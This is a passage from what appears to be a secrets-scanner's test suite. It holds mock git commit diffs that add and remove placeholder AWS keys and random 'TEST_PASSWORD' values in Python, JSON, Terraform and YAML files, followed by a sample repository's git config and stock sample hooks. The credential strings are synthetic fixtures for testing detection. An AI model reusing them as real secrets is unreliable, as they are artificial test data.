committer='🍕🍕pizza', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'test3.py': 'diff --git a/test3.py b/test3.py\nindex 0000..0000 0000\n--- a/test3.py\n+++ b/test3.py\n@@ -1,4 +1,5 @@\n AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n \n if __name__ == \'__main__\':\n+ AWS_ACCESS_KEY_ID = "AKIAZZZZZZZZZZZZZZZZ"\n print(\'test\')\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='8d96e18c1c924ba396211bf2d4fdd8d2418b8420', committer='🍕🍕pizza', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'test3.py': 'diff --git a/test3.py b/None\nindex 0000..0000 0000\n--- a/test3.py\n+++ b/None\n@@ -1,5 +0,0 @@\n-AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n-\n-if __name__ == \'__main__\':\n- AWS_ACCESS_KEY_ID = "AKIAZZZZZZZZZZZZZZZZ"\n- print(\'test\')\n'} ) def mock_get_commits_diff_iter_remove_file_with_two_secret(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: yield Commit( metadata=CommitMetadata( commit_hash='f0d117c1d65e90d4d6d7a1b6aaf4e23f4fd33b82', committer='🍻2secrets', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'main.py': 'diff --git a/main.py b/main.py\nindex 0000..0000 0000\n--- a/main.py\n+++ b/main.py\n@@ -1,3 +1,4 @@\n+AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n if __name__ == \'__main__\':\n \n'} ) yield Commit( metadata=CommitMetadata( commit_hash='1166ee830a03f6721fb8cba794496ee82895a0ba', committer='🍻2secrets', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'main.py': 'diff --git a/main.py b/main.py\nindex 0000..0000 0000\n--- a/main.py\n+++ b/main.py\n@@ -1,5 +1,5 @@\n AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n if __name__ == \'__main__\':\n-\n+ TEST_PASSWORD_1 = "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE"\n print(\'test\')\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='bdb3678fc44702132fa7d661a1c425e65c1e9dde', committer='🍻2secrets', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'main.py': 'diff --git a/main.py b/None\nindex 0000..0000 0000\n--- a/main.py\n+++ b/None\n@@ -1,5 +0,0 @@\n-AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n-\n-if __name__ == \'__main__\':\n- TEST_PASSWORD_1 = "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE"\n- print(\'test\')\n'} ) def mock_get_commits_diff_iter_multiline_json(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: yield Commit( metadata=CommitMetadata( commit_hash='6b99e255555eacbd5f79a4efe77dcacdc63ed10f', committer='🍽multiline_json', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'test-multiline-secrets.json': 'diff --git a/None b/test-multiline-secrets.json\nindex 0000..0000 0000\n--- a/None\n+++ b/test-multiline-secrets.json\n@@ -0,0 +1,30 @@\n+{\n+ "spec": [\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35"\n+ },\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "TEST_PASSWORD_4",\n+ "value": "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z"\n+ },\n+ {\n+ "name": "TEST_PASSWORD_LONG_1",\n+ "value": "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN"\n+ },\n+ {\n+ "name": "TEST_PASSWORD_no_password",\n+ "value": "RandomP@ssw0rd"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n'} ) def mock_get_commits_diff_iter_multiline_terraform(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: yield Commit( metadata=CommitMetadata( commit_hash='6bee3eb2f69e06095395ae1d54c810c3a2a99841', committer='🥢multiline_terraform', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'secret_test.tf': 'diff --git a/secret_test.tf b/secret_test.tf\nindex 0000..0000 0000\n--- a/secret_test.tf\n+++ b/secret_test.tf\n@@ -0,0 +1,79 @@\n+resource "kubernetes_pod_v1" "test" {\n+ metadata {\n+ name = "terraform-example"\n+ }\n+\n+ spec {\n+ container {\n+ image = "nginx:1.21.6"\n+ name = "example"\n+\n+ env {\n+ name = "SOME_NAME"\n+ value = "some_value"\n+ }\n+ # name1 & value1 are not valid arguments\n+ env {\n+ value = "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE"\n+ name = "TEST_PASSWORD_1"\n+ name1 = "TEST_PASSWORD_2"\n+ value1 = "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35"\n+ }\n+ env {\n+ name = "TEST_PASSWORD_3"\n+ // comment 1\n+ // comment 2\n+ // comment 3\n+ value = "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ }\n+ env {\n+ value = "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z"\n+ # comment 1\n+ name = "TEST_PASSWORD_4"\n+ }\n+ env {\n+ name = "TEST_PASSWORD_LONG_1"\n+ value = "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN"\n+ }\n+ env {\n+ name = "TEST_PASSWORD_no_password"\n+ value = "RandomP@ssw0rd"\n+ }\n+\n+ port {\n+ container_port = 80\n+ }\n+\n+ liveness_probe {\n+ http_get {\n+ path = "/"\n+ port = 80\n+\n+ http_header {\n+ name = "X-Custom-Header"\n+ value = "Awesome"\n+ }\n+ }\n+\n+ initial_delay_seconds = 3\n+ period_seconds = 3\n+ }\n+ }\n+\n+ dns_config {\n+ nameservers = ["1.1.1.1", "8.8.8.8", "9.9.9.9"]\n+ searches = ["example.com"]\n+\n+ option {\n+ name = "ndots"\n+ value = 1\n+ }\n+\n+ option {\n+ name = "use-vc"\n+ }\n+ }\n+\n+ dns_policy = "None"\n+ }\n+}\n'} ) def mock_get_commits_diff_iter_multiline_yml(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: yield Commit( metadata=CommitMetadata( commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🐲dragon of commits🐲', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' } ) yield Commit( metadata=CommitMetadata( commit_hash='cee6ad9d172ff447bd0afe8a478348b3ed6d3734', committer='🥢multiline_yml', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'test-multiline-secrets.yml': 'diff --git a/None b/test-multiline-secrets.yml\nindex 0000..0000 0000\n--- a/None\n+++ b/test-multiline-secrets.yml\n@@ -0,0 +1,15 @@\n+spec:\n+ - name: SOME_NAME\n+ value: some_value\n+ - value: Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\n+ name: TEST_PASSWORD_1\n+ name1: TEST_PASSWORD_2\n+ value1: 1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\n+ - name: TEST_PASSWORD_3\n+ value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\n+ - name: TEST_PASSWORD_4\n+ value: emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\n+ - name: TEST_PASSWORD_LONG_1\n+ value: m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\n+ - name: TEST_PASSWORD_no_password\n+ value: RandomP@ssw0rd\n'} ) ================================================ FILE: tests/secrets/git_history/testing_repo/README.md ================================================ just for example testing the .git dir was changed to git_to_change in order to push it to the repo without creating a sub module in the test we will copy it to a .git and clean it up after that ================================================ FILE: tests/secrets/git_history/testing_repo/foobar.py ================================================ def foo(): print('foo') def bar(): print('bar') ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/COMMIT_EDITMSG ================================================ remove it ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/HEAD ================================================ ref: refs/heads/test_git ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/config ================================================ [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/description ================================================ Unnamed repository; edit this file 'description' to name the repository. ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/applypatch-msg.sample ================================================ #!/bin/sh # # An example hook script to check the commit log message taken by # applypatch from an e-mail message. # # The hook should exit with non-zero status after issuing an # appropriate message if it wants to stop the commit. The hook is # allowed to edit the commit message file. # # To enable this hook, rename this file to "applypatch-msg". . git-sh-setup commitmsg="$(git rev-parse --git-path hooks/commit-msg)" test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"} : ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/commit-msg.sample ================================================ #!/bin/sh # # An example hook script to check the commit log message. # Called by "git commit" with one argument, the name of the file # that has the commit message. The hook should exit with non-zero # status after issuing an appropriate message if it wants to stop the # commit. The hook is allowed to edit the commit message file. # # To enable this hook, rename this file to "commit-msg". # Uncomment the below to add a Signed-off-by line to the message. # Doing this in a hook is a bad idea in general, but the prepare-commit-msg # hook is more suited to it. # # SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') # grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" # This example catches duplicate Signed-off-by lines. test "" = "$(grep '^Signed-off-by: ' "$1" | sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { echo >&2 Duplicate Signed-off-by lines. exit 1 } ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/fsmonitor-watchman.sample ================================================ #!/usr/bin/perl use strict; use warnings; use IPC::Open2; # An example hook script to integrate Watchman # (https://facebook.github.io/watchman/) with git to speed up detecting # new and modified files. # # The hook is passed a version (currently 2) and last update token # formatted as a string and outputs to stdout a new update token and # all files that have been modified since the update token. Paths must # be relative to the root of the working tree and separated by a single NUL. # # To enable this hook, rename this file to "query-watchman" and set # 'git config core.fsmonitor .git/hooks/query-watchman' # my ($version, $last_update_token) = @ARGV; # Uncomment for debugging # print STDERR "$0 $version $last_update_token\n"; # Check the hook interface version if ($version ne 2) { die "Unsupported query-fsmonitor hook version '$version'.\n" . "Falling back to scanning...\n"; } my $git_work_tree = get_working_dir(); my $retry = 1; my $json_pkg; eval { require JSON::XS; $json_pkg = "JSON::XS"; 1; } or do { require JSON::PP; $json_pkg = "JSON::PP"; }; launch_watchman(); sub launch_watchman { my $o = watchman_query(); if (is_work_tree_watched($o)) { output_result($o->{clock}, @{$o->{files}}); } } sub output_result { my ($clockid, @files) = @_; # Uncomment for debugging watchman output # open (my $fh, ">", ".git/watchman-output.out"); # binmode $fh, ":utf8"; # print $fh "$clockid\n@files\n"; # close $fh; binmode STDOUT, ":utf8"; print $clockid; print "\0"; local $, = "\0"; print @files; } sub watchman_clock { my $response = qx/watchman clock "$git_work_tree"/; die "Failed to get clock id on '$git_work_tree'.\n" . "Falling back to scanning...\n" if $? != 0; return $json_pkg->new->utf8->decode($response); } sub watchman_query { my $pid = open2(\*CHLD_OUT, \*CHLD_IN, 'watchman -j --no-pretty') or die "open2() failed: $!\n" . "Falling back to scanning...\n"; # In the query expression below we're asking for names of files that # changed since $last_update_token but not from the .git folder. # # To accomplish this, we're using the "since" generator to use the # recency index to select candidate nodes and "fields" to limit the # output to file names only. Then we're using the "expression" term to # further constrain the results. my $last_update_line = ""; if (substr($last_update_token, 0, 1) eq "c") { $last_update_token = "\"$last_update_token\""; $last_update_line = qq[\n"since": $last_update_token,]; } my $query = <<" END"; ["query", "$git_work_tree", {$last_update_line "fields": ["name"], "expression": ["not", ["dirname", ".git"]] }] END # Uncomment for debugging the watchman query # open (my $fh, ">", ".git/watchman-query.json"); # print $fh $query; # close $fh; print CHLD_IN $query; close CHLD_IN; my $response = do {local $/; }; # Uncomment for debugging the watch response # open ($fh, ">", ".git/watchman-response.json"); # print $fh $response; # close $fh; die "Watchman: command returned no output.\n" . "Falling back to scanning...\n" if $response eq ""; die "Watchman: command returned invalid output: $response\n" . "Falling back to scanning...\n" unless $response =~ /^\{/; return $json_pkg->new->utf8->decode($response); } sub is_work_tree_watched { my ($output) = @_; my $error = $output->{error}; if ($retry > 0 and $error and $error =~ m/unable to resolve root .* directory (.*) is not watched/) { $retry--; my $response = qx/watchman watch "$git_work_tree"/; die "Failed to make watchman watch '$git_work_tree'.\n" . "Falling back to scanning...\n" if $? != 0; $output = $json_pkg->new->utf8->decode($response); $error = $output->{error}; die "Watchman: $error.\n" . "Falling back to scanning...\n" if $error; # Uncomment for debugging watchman output # open (my $fh, ">", ".git/watchman-output.out"); # close $fh; # Watchman will always return all files on the first query so # return the fast "everything is dirty" flag to git and do the # Watchman query just to get it over with now so we won't pay # the cost in git to look up each individual file. my $o = watchman_clock(); $error = $output->{error}; die "Watchman: $error.\n" . "Falling back to scanning...\n" if $error; output_result($o->{clock}, ("/")); $last_update_token = $o->{clock}; eval { launch_watchman() }; return 0; } die "Watchman: $error.\n" . "Falling back to scanning...\n" if $error; return 1; } sub get_working_dir { my $working_dir; if ($^O =~ 'msys' || $^O =~ 'cygwin') { $working_dir = Win32::GetCwd(); $working_dir =~ tr/\\/\//; } else { require Cwd; $working_dir = Cwd::cwd(); } return $working_dir; } ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/post-update.sample ================================================ #!/bin/sh # # An example hook script to prepare a packed repository for use over # dumb transports. # # To enable this hook, rename this file to "post-update". exec git update-server-info ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-applypatch.sample ================================================ #!/bin/sh # # An example hook script to verify what is about to be committed # by applypatch from an e-mail message. # # The hook should exit with non-zero status after issuing an # appropriate message if it wants to stop the commit. # # To enable this hook, rename this file to "pre-applypatch". . git-sh-setup precommit="$(git rev-parse --git-path hooks/pre-commit)" test -x "$precommit" && exec "$precommit" ${1+"$@"} : ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-commit.sample ================================================ #!/bin/sh # # An example hook script to verify what is about to be committed. # Called by "git commit" with no arguments. The hook should # exit with non-zero status after issuing an appropriate message if # it wants to stop the commit. # # To enable this hook, rename this file to "pre-commit". if git rev-parse --verify HEAD >/dev/null 2>&1 then against=HEAD else # Initial commit: diff against an empty tree object against=$(git hash-object -t tree /dev/null) fi # If you want to allow non-ASCII filenames set this variable to true. allownonascii=$(git config --type=bool hooks.allownonascii) # Redirect output to stderr. exec 1>&2 # Cross platform projects tend to avoid non-ASCII filenames; prevent # them from being added to the repository. We exploit the fact that the # printable range starts at the space character and ends with tilde. if [ "$allownonascii" != "true" ] && # Note that the use of brackets around a tr range is ok here, (it's # even required, for portability to Solaris 10's /usr/bin/tr), since # the square bracket bytes happen to fall in the designated range. test $(git diff --cached --name-only --diff-filter=A -z $against | LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0 then cat <<\EOF Error: Attempt to add a non-ASCII file name. This can cause problems if you want to work with people on other platforms. To be portable it is advisable to rename the file. If you know what you are doing you can disable this check using: git config hooks.allownonascii true EOF exit 1 fi # If there are whitespace errors, print the offending file names and fail. exec git diff-index --check --cached $against -- ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-merge-commit.sample ================================================ #!/bin/sh # # An example hook script to verify what is about to be committed. # Called by "git merge" with no arguments. The hook should # exit with non-zero status after issuing an appropriate message to # stderr if it wants to stop the merge commit. # # To enable this hook, rename this file to "pre-merge-commit". . git-sh-setup test -x "$GIT_DIR/hooks/pre-commit" && exec "$GIT_DIR/hooks/pre-commit" : ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-push.sample ================================================ #!/bin/sh # An example hook script to verify what is about to be pushed. Called by "git # push" after it has checked the remote status, but before anything has been # pushed. If this script exits with a non-zero status nothing will be pushed. # # This hook is called with the following parameters: # # $1 -- Name of the remote to which the push is being done # $2 -- URL to which the push is being done # # If pushing without using a named remote those arguments will be equal. # # Information about the commits which are being pushed is supplied as lines to # the standard input in the form: # # # # This sample shows how to prevent push of commits where the log message starts # with "WIP" (work in progress). remote="$1" url="$2" zero=$(git hash-object --stdin &2 "Found WIP commit in $local_ref, not pushing" exit 1 fi fi done exit 0 ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-rebase.sample ================================================ #!/bin/sh # # Copyright (c) 2006, 2008 Junio C Hamano # # The "pre-rebase" hook is run just before "git rebase" starts doing # its job, and can prevent the command from running by exiting with # non-zero status. # # The hook is called with the following parameters: # # $1 -- the upstream the series was forked from. # $2 -- the branch being rebased (or empty when rebasing the current branch). # # This sample shows how to prevent topic branches that are already # merged to 'next' branch from getting rebased, because allowing it # would result in rebasing already published history. publish=next basebranch="$1" if test "$#" = 2 then topic="refs/heads/$2" else topic=`git symbolic-ref HEAD` || exit 0 ;# we do not interrupt rebasing detached HEAD fi case "$topic" in refs/heads/??/*) ;; *) exit 0 ;# we do not interrupt others. ;; esac # Now we are dealing with a topic branch being rebased # on top of master. Is it OK to rebase it? # Does the topic really exist? git show-ref -q "$topic" || { echo >&2 "No such branch $topic" exit 1 } # Is topic fully merged to master? not_in_master=`git rev-list --pretty=oneline ^master "$topic"` if test -z "$not_in_master" then echo >&2 "$topic is fully merged to master; better remove it." exit 1 ;# we could allow it, but there is no point. fi # Is topic ever merged to next? If so you should not be rebasing it. only_next_1=`git rev-list ^master "^$topic" ${publish} | sort` only_next_2=`git rev-list ^master ${publish} | sort` if test "$only_next_1" = "$only_next_2" then not_in_topic=`git rev-list "^$topic" master` if test -z "$not_in_topic" then echo >&2 "$topic is already up to date with master" exit 1 ;# we could allow it, but there is no point. else exit 0 fi else not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"` /usr/bin/perl -e ' my $topic = $ARGV[0]; my $msg = "* $topic has commits already merged to public branch:\n"; my (%not_in_next) = map { /^([0-9a-f]+) /; ($1 => 1); } split(/\n/, $ARGV[1]); for my $elem (map { /^([0-9a-f]+) (.*)$/; [$1 => $2]; } split(/\n/, $ARGV[2])) { if (!exists $not_in_next{$elem->[0]}) { if ($msg) { print STDERR $msg; undef $msg; } print STDERR " $elem->[1]\n"; } } ' "$topic" "$not_in_next" "$not_in_master" exit 1 fi <<\DOC_END This sample hook safeguards topic branches that have been published from being rewound. The workflow assumed here is: * Once a topic branch forks from "master", "master" is never merged into it again (either directly or indirectly). * Once a topic branch is fully cooked and merged into "master", it is deleted. If you need to build on top of it to correct earlier mistakes, a new topic branch is created by forking at the tip of the "master". This is not strictly necessary, but it makes it easier to keep your history simple. * Whenever you need to test or publish your changes to topic branches, merge them into "next" branch. The script, being an example, hardcodes the publish branch name to be "next", but it is trivial to make it configurable via $GIT_DIR/config mechanism. With this workflow, you would want to know: (1) ... if a topic branch has ever been merged to "next". Young topic branches can have stupid mistakes you would rather clean up before publishing, and things that have not been merged into other branches can be easily rebased without affecting other people. But once it is published, you would not want to rewind it. (2) ... if a topic branch has been fully merged to "master". Then you can delete it. More importantly, you should not build on top of it -- other people may already want to change things related to the topic as patches against your "master", so if you need further changes, it is better to fork the topic (perhaps with the same name) afresh from the tip of "master". Let's look at this example: o---o---o---o---o---o---o---o---o---o "next" / / / / / a---a---b A / / / / / / / / c---c---c---c B / / / / \ / / / / b---b C \ / / / / / \ / ---o---o---o---o---o---o---o---o---o---o---o "master" A, B and C are topic branches. * A has one fix since it was merged up to "next". * B has finished. It has been fully merged up to "master" and "next", and is ready to be deleted. * C has not merged to "next" at all. We would want to allow C to be rebased, refuse A, and encourage B to be deleted. To compute (1): git rev-list ^master ^topic next git rev-list ^master next if these match, topic has not merged in next at all. To compute (2): git rev-list master..topic if this is empty, it is fully merged to "master". DOC_END ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-receive.sample ================================================ #!/bin/sh # # An example hook script to make use of push options. # The example simply echoes all push options that start with 'echoback=' # and rejects all pushes when the "reject" push option is used. # # To enable this hook, rename this file to "pre-receive". if test -n "$GIT_PUSH_OPTION_COUNT" then i=0 while test "$i" -lt "$GIT_PUSH_OPTION_COUNT" do eval "value=\$GIT_PUSH_OPTION_$i" case "$value" in echoback=*) echo "echo from the pre-receive-hook: ${value#*=}" >&2 ;; reject) exit 1 esac i=$((i + 1)) done fi ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/prepare-commit-msg.sample ================================================ #!/bin/sh # # An example hook script to prepare the commit log message. # Called by "git commit" with the name of the file that has the # commit message, followed by the description of the commit # message's source. The hook's purpose is to edit the commit # message file. If the hook fails with a non-zero status, # the commit is aborted. # # To enable this hook, rename this file to "prepare-commit-msg". # This hook includes three examples. The first one removes the # "# Please enter the commit message..." help message. # # The second includes the output of "git diff --name-status -r" # into the message, just before the "git status" output. It is # commented because it doesn't cope with --amend or with squashed # commits. # # The third example adds a Signed-off-by line to the message, that can # still be edited. This is rarely a good idea. COMMIT_MSG_FILE=$1 COMMIT_SOURCE=$2 SHA1=$3 /usr/bin/perl -i.bak -ne 'print unless(m/^. Please enter the commit message/..m/^#$/)' "$COMMIT_MSG_FILE" # case "$COMMIT_SOURCE,$SHA1" in # ,|template,) # /usr/bin/perl -i.bak -pe ' # print "\n" . `git diff --cached --name-status -r` # if /^#/ && $first++ == 0' "$COMMIT_MSG_FILE" ;; # *) ;; # esac # SOB=$(git var GIT_COMMITTER_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') # git interpret-trailers --in-place --trailer "$SOB" "$COMMIT_MSG_FILE" # if test -z "$COMMIT_SOURCE" # then # /usr/bin/perl -i.bak -pe 'print "\n" if !$first_line++' "$COMMIT_MSG_FILE" # fi ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/hooks/push-to-checkout.sample ================================================ #!/bin/sh # An example hook script to update a checked-out tree on a git push. # # This hook is invoked by git-receive-pack(1) when it reacts to git # push and updates reference(s) in its repository, and when the push # tries to update the branch that is currently checked out and the # receive.denyCurrentBranch configuration variable is set to # updateInstead. # # By default, such a push is refused if the working tree and the index # of the remote repository has any difference from the currently # checked out commit; when both the working tree and the index match # the current commit, they are updated to match the newly pushed tip # of the branch. This hook is to be used to override the default # behaviour; however the code below reimplements the default behaviour # as a starting point for convenient modification. # # The hook receives the commit with which the tip of the current # branch is going to be updated: commit=$1 # It can exit with a non-zero status to refuse the push (when it does # so, it must not modify the index or the working tree). die () { echo >&2 "$*" exit 1 } # Or it can make any necessary changes to the working tree and to the # index to bring them to the desired state when the tip of the current # branch is updated to the new 